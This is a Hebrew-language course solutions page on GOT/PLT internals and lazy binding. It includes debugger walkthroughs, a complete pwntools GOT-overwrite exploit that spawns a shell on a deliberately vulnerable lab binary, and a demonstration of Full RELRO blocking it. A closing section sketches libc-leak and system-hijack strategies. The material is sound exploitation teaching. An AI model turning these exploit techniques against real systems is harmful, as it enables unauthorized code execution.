4.1 GOT וPLT לעומק פתרון
פתרון - GOT וPLT לעומק¶
כאן נפתור את כל התרגילים עד הסוף, עם הפקודות האמיתיות, הפלט הצפוי, וה-exploit המלא. אם עוד לא ניסיתם לבד, חזרו לקובץ התרגול. הכתובות המספריות כאן (0x401xxx, 0x404xxx) הן דוגמה מבינארי אחד שקומפל אצלי - אצלכם הן עשויות להיות מעט שונות, אבל המבנה זהה. אל תעתיקו כתובות, מדדו אצלכם.
פתרון תרגיל 1 - לראות את הפתרון קורה¶
נתחיל מבדיקת ההגנות:
קיבלנו Partial RELRO בדיוק כמו שרצינו - כלומר .got.plt ניתן לכתיבה ו-lazy binding פעיל. מוצאים את כתובת תא ה-GOT של puts:
$ readelf -r ./trace | grep puts
0000000404018 000200000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0
השדה Offset הוא כתובת התא: 0x404018. עכשיו ב-GDB, לפני שהרצנו כלום:
התא מצביע על 0x401036. נוודא שזה בתוך ה-PLT:
$ objdump -d -j .plt ./trace | grep -A3 '<puts@plt>'
0000000000401030 <puts@plt>:
401030: ff 25 e2 2f 00 00 jmp QWORD PTR [rip+0x2fe2] # 404018
401036: 68 00 00 00 00 push 0x0
40103b: e9 e0 ff ff ff jmp 401020 <.plt>
הכתובת 0x401036 היא בדיוק puts@plt+6, הוראת ה-push 0x0. כלומר לפני הפתרון, תא ה-GOT מצביע בחזרה לתוך ה-PLT, למסלול הפתרון. זהו המצב "לא נפתר".
עכשיו נעצור על הקריאה הראשונה ונבדוק לפני ואחרי:
pwndbg> disassemble main
0x0000000000401136 <+0>: push rbp
0x0000000000401137 <+1>: mov rbp,rsp
0x000000000040113a <+4>: lea rax,[rip+0xec3]
0x0000000000401141 <+11>: mov rdi,rax
0x0000000000401144 <+14>: call 0x401030 <puts@plt>
...
pwndbg> break *main+14
pwndbg> run
pwndbg> x/gx 0x404018
0x404018 <puts@got.plt>: 0x0000000000401036 <-- still puts@plt+6
pwndbg> finish # let the first puts finish
first call
pwndbg> x/gx 0x404018
0x404018 <puts@got.plt>: 0x00007ffff7e5c420 <-- changed! now libc
התא קפץ מ-0x401036 (בתוך ה-PLT) ל-0x7ffff7e5c420 (בתוך libc). נאמת שזו באמת puts:
מכאן, הקריאה השנייה ל-puts תלך ישירות ל-0x7ffff7e5c420 בלי הפותר.
למה זה עבד: ראינו שחור על גבי לבן ששלושת הצעדים של lazy binding קורים פעם אחת. לפני הקריאה הראשונה התא מצביע ל-PLT, אחרי הקריאה הראשונה הוא מצביע ל-libc. איך להכליל: בכל בינארי דינמי, readelf -r נותן לכם את כתובת התא, ו-x/gx ב-GDB מראה אם הוא כבר נפתר. תא שמצביע לתוך ה-PLT עצמו = עדיין לא נקרא; תא שמצביע ל-libc = כבר נקרא לפחות פעם.
פתרון תרגיל 2 - למפות את ה-GOT¶
מוצאים את הסקשנים:
$ readelf -S ./trace | grep -E '\.got|\.plt'
[12] .plt PROGBITS 0000000000401020 00001020 ... AX
[23] .got PROGBITS 0000000000403fe8 00002fe8 ... WA
[24] .got.plt PROGBITS 0000000000404000 00003000 ... WA
הסקשן .got.plt מתחיל ב-0x404000. נדפיס את ששת התאים הראשונים אחרי שהגענו ל-main (כדי שהטוען כבר מילא את GOT[1] ו-GOT[2]):
pwndbg> break main
pwndbg> run
pwndbg> x/6gx 0x404000
0x404000: 0x0000000000403e10 0x00007ffff7ffe2e0
0x404010: 0x00007ffff7fd8d30 0x0000000000401036
0x404020: 0x0000000000401046 0x0000000000000000
נפרק:
- התא
GOT[0] = 0x403e10- כתובת של_DYNAMIC(טבלת המידע הדינמי). נמצאת בתוך הבינארי. - התא
GOT[1] = 0x7ffff7ffe2e0- מצביע ל-link_map, מבנה של הטוען הדינמי. כתובת libc/ld. - התא
GOT[2] = 0x7ffff7fd8d30- הפותר. - התא
GOT[3] = 0x401036- התא שלputs, מצביע בחזרה ל-puts@plt+6. - התא
GOT[4] = 0x401046- תא נוסף (במקרה הזה של סמל אחר), גם הוא מצביע לתוך ה-PLT.
נאמת את GOT[2]:
pwndbg> info symbol 0x7ffff7fd8d30
_dl_runtime_resolve_xsavec in section .text of /lib64/ld-linux-x86-64.so.2
זה הפותר (בגרסאות glibc מודרניות שמו _dl_runtime_resolve_xsavec או _dl_runtime_resolve_xsave, וריאנטים של אותה פונקציה). זה בדיוק היעד שאליו PLT0 קופץ.
למה GOT[3] מצביע בהתחלה לתוך ה-PLT? כי זה הבסיס של lazy binding. אילו התא היה מצביע ישר ל-libc, לא היינו צריכים פותר בכלל - אבל אז היינו חייבים לפתור את כל הסמלים בזמן טעינה (זה בדיוק Full RELRO). בגלל שרוצים פתרון עצל, התא מתחיל בהצבעה למסלול הפתרון (push index; jmp PLT0), וזה מפעיל את הפותר רק בקריאה הראשונה.
למה זה עבד: ראינו שהטבלה היא מערך, שלושת התאים הראשונים שמורים לתשתית הטעינה, והשאר מצביעים בהתחלה לתוך ה-PLT. איך להכליל: GOT[2] תמיד מצביע לפותר. אם אי פעם תרצו לחטוף כל קריאת פונקציה שעדיין לא נפתרה בבת אחת, זו מטרה מעניינת - אבל זה כבר סיפור מתקדם.
פתרון תרגיל 3 - Partial מול Full RELRO¶
בדיקת ההגנות של שני הבינארים:
$ checksec --file=./gotdemo
RELRO: Partial RELRO ... NX enabled No PIE
$ checksec --file=./gotdemo_full
RELRO: Full RELRO ... NX enabled No PIE
הדגל BIND_NOW מבדיל ביניהם:
$ readelf -d ./gotdemo_full | grep -i -E 'bind|now'
0x000000000000001e (FLAGS) BIND_NOW
0x000000006ffffffb (FLAGS_1) Flags: NOW
$ readelf -d ./gotdemo | grep -i -E 'bind|now'
(no output - no BIND_NOW)
הדגל BIND_NOW אומר לטוען: פתור את כל הסמלים כבר בזמן הטעינה, לא בעצלות. ברגע שכל הסמלים נפתרו מראש, אין סיבה שה-GOT יישאר ניתן לכתיבה, אז הטוען מסמן אותו קריאה-בלבד. זה בדיוק ההבדל: Partial RELRO חייב להשאיר את .got.plt פתוח כדי לתמוך ב-lazy binding, Full RELRO לא צריך את זה.
נראה את ההרשאות בזמן ריצה. ב-gotdemo (Partial):
pwndbg> break main
pwndbg> run
pwndbg> vmmap 0x404018
0x404000 0x405000 rw-p ... gotdemo <-- rw: writable
ב-gotdemo_full (Full):
pwndbg> break main
pwndbg> run
pwndbg> vmmap 0x404018
0x403000 0x404000 r--p ... gotdemo_full <-- r: read-only
ההבדל ברור: אותו תא GOT, בבינארי Partial הדף שלו rw-, ובבינארי Full הוא r--. עכשיו ננסה בכוונה לכתוב לתא ב-gotdemo_full:
הכתיבה נכשלה - הדף קריאה-בלבד. זו בדיוק ההגנה של Full RELRO.
למה זה עבד: ראינו את ההבדל בשלוש רמות - checksec, readelf -d (הדגל BIND_NOW), ו-vmmap (ההרשאות בפועל). איך להכליל: לפני שמתכננים דריסת GOT, בדקו RELRO. אם זה Full - תזרקו את הרעיון מיד ותחפשו מטרת כתיבה אחרת. אם זה Partial - .got.plt פתוח לעסקים.
פתרון תרגיל 4 - דריסת GOT ראשונה¶
מוצאים את שתי הכתובות ב-pwntools:
>>> from pwn import *
>>> elf = ELF('./gotdemo')
>>> hex(elf.got['puts'])
'0x404018'
>>> hex(elf.symbols['win'])
'0x401176'
התכנית: נזין addr = 0x404018 (התא של puts) ו-val = 0x401176 (הכתובת של win). התוכנית תבצע *(0x404018) = 0x401176, כלומר תדרוס את puts@got בכתובת של win. אחר כך, puts("bye") תעבור דרך puts@plt, תקפוץ עקיף דרך puts@got שכעת מצביע על win, ותריץ win() -> system("/bin/sh").
ה-exploit המלא:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./gotdemo')
p = process('./gotdemo')
puts_got = elf.got['puts'] # 0x404018
win = elf.symbols['win'] # 0x401176
log.info(f'puts@got = {hex(puts_got)}')
log.info(f'win = {hex(win)}')
# addr = puts@got
p.recvuntil(b'addr (hex):')
p.sendline(hex(puts_got).encode())
# val = win
p.recvuntil(b'val (hex):')
p.sendline(hex(win).encode())
# the write happened. puts("bye") -> win() -> shell
p.interactive()
הרצה:
$ python3 exploit.py
[*] '.../gotdemo'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
[+] Starting local process './gotdemo': pid 20194
[*] puts@got = 0x404018
[*] win = 0x401176
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$ cat /etc/hostname
pwnbox
קיבלנו shell. הסכימה של מה שקרה בזיכרון:
before the write: after p.sendline(win):
+-----------------------------+ +-----------------------------+
| 0x404018: -> libc puts | | 0x404018: -> 0x401176 (win) |
+-----------------------------+ +-----------------------------+
puts("bye"): jmp *[0x404018] --> 0x401176 (win) --> system("/bin/sh")
למה זה עבד: ניצלנו את העובדה ש-puts@got הוא מצביע פונקציה שניתן לכתיבה (Partial RELRO), והתוכנית קופצת דרכו בכל קריאה ל-puts. הכתיבה השרירותית נתנה לנו את היכולת להחליף את התוכן. הבינארי לא-PIE, אז win בכתובת קבועה ולא היינו צריכים leak. איך להכליל: דריסת GOT = כתיבה שרירותית + .got.plt פתוח + קריאה עתידית לפונקציה שדרסתם. בכל פעם שיש לכם write-what-where ו-Partial RELRO, זו אחת המטרות הראשונות לבדוק.
פתרון תרגיל 5 - אותו exploit על Full RELRO¶
מחליפים את היעד ל-gotdemo_full:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./gotdemo_full')
p = process('./gotdemo_full')
p.recvuntil(b'addr (hex):')
p.sendline(hex(elf.got['puts']).encode())
p.recvuntil(b'val (hex):')
p.sendline(hex(elf.symbols['win']).encode())
p.interactive()
הרצה:
$ python3 exploit_full.py
[+] Starting local process './gotdemo_full': pid 20455
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$
התוכנית קרסה. נראה איפה בדיוק, תחת GDB:
$ printf '0x404018\n0x401176\n' > payload
$ gdb ./gotdemo_full
pwndbg> run < payload
...
Program received signal SIGSEGV, Segmentation fault.
0x0000000000401185 in main ()
=> 0x401185 <main+...>: mov QWORD PTR [rax], rdx
pwndbg> p/x $rax
$1 = 0x404018
ה-SIGSEGV נופל על ההוראה mov QWORD PTR [rax], rdx - זו בדיוק השורה *(unsigned long *)addr = val בקוד המקור. הרגיסטר rax מכיל 0x404018, כלומר puts@got. הכתיבה עצמה נכשלה, כי הדף של ה-GOT קריאה-בלבד ב-Full RELRO. שום שורה של ה-payload לא הגיעה אפילו ל-puts("bye").
במשפט אחד: הכתיבה נכשלה כי Full RELRO ביצע BIND_NOW ומיפה את דף ה-GOT כקריאה-בלבד, אז הניסיון לכתוב אליו הוא גישת זיכרון לא חוקית.
למה זה עבד (כלומר, למה זה נכשל): זו לא שגיאה ב-exploit. ה-exploit נכון בדיוק כמו בתרגיל 4 - ההגנה פשוט חוסמת אותו ברמת החומרה. איך להכליל: מול Full RELRO אין מה לכוונן ב-exploit של דריסת GOT, זו דלת סגורה. מחפשים מטרת כתיבה אחרת - מצביע ב-heap, __free_hook/__malloc_hook בגרסאות glibc ישנות, return address על המחסנית, וכו'.
פתרון תרגיל 6 (בונוס) - לחשוב כמו תוקף אמיתי¶
-
כדי לדרוס עם כתובת של
systemב-libc, צריך לדעת את בסיס libc בזמן ריצה. עם ASLR, הבסיס אקראי בכל הרצה, אז חייבים leak - למשל להדפיס כתובת של פונקציית libc מה-GOT, לחשב ממנה את הבסיס, ולהוסיף את ה-offset שלsystem. זה בדיוק התוכן של שיעור 4.4 (libc leak ועקיפת ASLR). -
אם נדרוס את
puts@gotבכתובת שלsystem, אז קריאה מהצורהputs(user_input)תהפוך ל-system(user_input). אם המשתמש שולט ב-user_inputומכניס"/bin/sh"- קיבלנו shell. הטריק: מחפשים בתוכנית מקום שבו הארגומנט ל-puts(אוprintf) מגיע מקלט המשתמש. -
printf,freeו-atoiהם יעדים פופולריים במיוחד: - הארגומנט שלהם לרוב מגיע מהמשתמש.
free(ptr),atoi(input),printf(buf)- בכולם הארגומנט הראשון (rdi) הוא נתון שאתם שולטים בו, אז אחרי הדריסה הוא הופך לארגומנט שלsystem. - הם נקראים הרבה פעמים, כך שיש הזדמנות טובה שהתוכנית תקרא להם שוב אחרי הדריסה.
- הפונקציה
freeמעניינת במיוחד כי היא מקבלת מצביע ל-heap שאתם שולטים בתוכן שלו, מה שפותח וריאציות נוספות.
למה זה חשוב: דריסת GOT היא רק חצי מהסיפור. החצי השני הוא מה כותבים (בדרך כלל system או one_gadget, שדורש leak) ואיזו קריאה חוטפים (כזו עם ארגומנט שאתם שולטים בו). את שני החצאים נחבר יחד בשיעורי 4.4 ו-4.5.